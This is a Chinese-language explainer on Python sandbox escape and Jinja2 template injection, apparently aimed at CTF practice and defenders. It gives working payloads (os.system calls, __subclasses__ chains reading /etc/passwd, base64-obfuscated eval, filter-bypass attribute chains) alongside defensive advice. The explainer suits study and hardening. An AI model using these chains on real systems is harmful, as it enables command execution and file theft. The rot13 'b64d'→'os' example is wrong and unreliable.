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沙箱逃逸（Python沙盒逃逸深度解析）
一、沙盒逃逸的核心目标
执行系统命令
通过调用os.system、subprocess.Popen等函数执行Shell命令，例如读取文件或反弹Shell。
文件操作
读取敏感文件（如/etc/passwd）、写入后门文件。
环境信息泄露
获取沙盒配置、环境变量或密钥（如__builtins__中的敏感模块）。
二、常见攻击链与利用方法
探测沙盒漏洞
基础测试：注入{{7*7}}或__import__(‘os’).system(‘id’)验证模板引擎动态执行能力。
检查内置对象：通过dir()或__builtins__查看可用模块。
访问危险函数
直接调用模块：若未禁用os，直接执行命令：
__import__('os').system('cat /flag')
间接导入：通过字符串编码绕过关键字过滤：
__import__('b64d'.decode('rot13')).system('id') # 'b64d'→'os'
类继承链利用
遍历子类：从基础类（如object）通过__subclasses__()找到危险类：
''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].system('id')
其中X为os._wrap_close或subprocess.Popen的类索引。
利用文件对象：通过types.FileType或open读取文件：
types.FileType('/etc/passwd').read()
绕过过滤的技巧
属性链分割：使用getattr或|attr()绕过点号过滤：
request|attr('application')|attr('__globals__')['os'].system('id')
编码混淆：Base64、ROT13编码命令字符串：
eval('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='.decode('base64'))
利用内联函数：通过timeit、platform等非敏感模块间接调用命令：
timeit.timeit("__import__('os').system('id')", number=1)
三、典型沙盒环境与绕过案例
Jinja2模板引擎SSTI
漏洞场景：直接渲染未过滤的用户输入，如render_template_string(user_input)。
利用链：通过{{config}}泄露密钥，或通过类继承链调用os模块。
RestrictedPython沙盒
限制机制：禁用__import__、open等函数。
绕过方法：利用__builtins__.__dict__或_getattr_动态获取危险函数。
CTF题目实战
常见考点：通过__subclasses__找到warnings.catch_warnings类，其__init__的全局变量包含sys模块。
文件读取绕过：使用
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()。
四、防御措施与最佳实践
禁用高危函数
在沙盒配置中移除eval、exec、os、subprocess等模块，例如：
__builtins__.__dict__.clear() # 清除内置函数
限制模块导入
白名单机制：仅允许预定义的模块和函数。
沙盒环境：使用RestrictedPython或PyPy沙盒，限制全局状态访问。
输入过滤与静态模板
正则过滤：拦截{{、__class__、__import__等敏感符号。
静态渲染：优先使用render_template而非动态拼接模板。
监控与加固
日志审计：记录异常代码执行行为。
容器隔离：将沙盒运行在Docker等隔离环境中，限制资源访问。
五、历史漏洞与扩展
CVE-2017-5524：Plone CMS因未过滤Python字符串格式化方法导致沙盒绕过，攻击者可泄露敏感数据。
Temporal沙盒绕过：通过sandbox_unrestricted()上下文管理器或禁用@workflow.defn(sandboxed=False)完全绕过防护。